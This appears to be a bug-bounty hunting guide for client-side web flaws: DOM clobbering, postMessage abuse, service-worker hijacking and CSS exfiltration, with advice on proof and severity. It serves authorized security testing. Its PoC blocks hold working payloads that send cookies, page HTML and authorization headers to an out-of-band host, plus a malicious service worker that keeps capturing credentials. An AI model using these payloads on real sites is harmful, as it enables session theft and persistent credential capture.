• DOM Clobbering → DOM-XSS / auth bypass — HTML markup injection (no

  <script>

  ) overwrites a JS global like

  window.config

  or shadows

  document.getElementById

  , and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
• PostMessage no origin check → session theft / DOM-XSS — a

  message

  handler that trusts

  event.data

  without validating

  event.origin

  lets an attacker iframe/opener drive privileged actions or feed a sink.
• Service Worker abuse — register a same-origin SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope

  fetch

  → persistent credential capture.
• CSS Exfil — attribute-value selectors (

  input[value^="a"]

  ) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.

• DOM Clobbering / DOM-Invader — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
• DOMPurify clobbering & mXSS bypasses — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
• jQuery

  htmlPrefilter

  self-closing-tag XSS — CVE-2020-11022 and CVE-2020-11023 (jQuery < 3.5.0). Passing attacker HTML to

  .html()

  /

  .append()

  mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
• CSS exfiltration — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential

  @import

  recursion to drop the per-char-position constraint).

Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for technique provenance, not severity inflation.

```html
<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>

<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>

False-positive guard: a handler with a partial check (

origin.indexOf('target.com')>-1

,

endsWith('target.com')

, regex

target\.com

) is still vulnerable — bypass with

target.com.evil.com

or

eviltarget.com

. Confirm by serving the PoC from such a look-alike host and showing the message still lands.

```javascript
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});

Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.

• DOM Clobbering — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
• PostMessage — distinguish a missing check from a weak one; bypass weak checks from a look-alike origin and capture via OOB. A noisy

  message

  log alone is not proof — show the privileged action or token exfil.
• CSS exfil — OOB callback per correct character is the only proof. Read CSP first:

  img-src

  /

  style-src

  /

  connect-src

  /

  default-src

  restricting external origins kills it. A blocked

  url()

  is indistinguishable from success in the Network tab — confirm on the Collaborator side.
• Service Worker — registration must be same-origin script; a

  SecurityError

  means you cited the wrong origin. Prove persistence (close tabs → reopen → fresh OOB hit, no XSS re-fire).
• General — unique per-test markers (

  btoa(domain)+nonce

  ) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.

• Same-origin Service Worker → persistent credential intercept: Critical
• PostMessage data → DOM-XSS / token theft → ATO: High–Critical
• DOM Clobbering → DOM-XSS reaching auth/session: High
• CSS exfil of CSRF token (OOB-proven) → CSRF: Medium (raise if the chained CSRF is account-critical)

1. Skill integrity — confirm the skill file is readable and well-formed:
   bash

   grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"

2. Category check — confirm the skill has a category:
   bash

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"

3. Pitfalls section — confirm pitfalls are documented:
   bash

   grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"

• DOM XSS without sink confirmation — finding

  innerHTML

  or

  document.write

  with user input is a potential sink, not a confirmed bug. Trace the full data flow from source to sink.
• postMessage without origin check — receiving postMessage events without verifying

  event.origin

  is the vulnerability. Test with

  window.postMessage(payload, '*')

  .
• Source maps without secrets —

  .map

  files alone are informational. Need extracted API keys, internal paths, or credentials.
• eval with static strings —

  eval("constant")

  is not exploitable. Need dynamic input reaching eval.
• Sanitizer bypass claim without proof — claiming DOMPurify bypass requires a working payload against the specific version in use.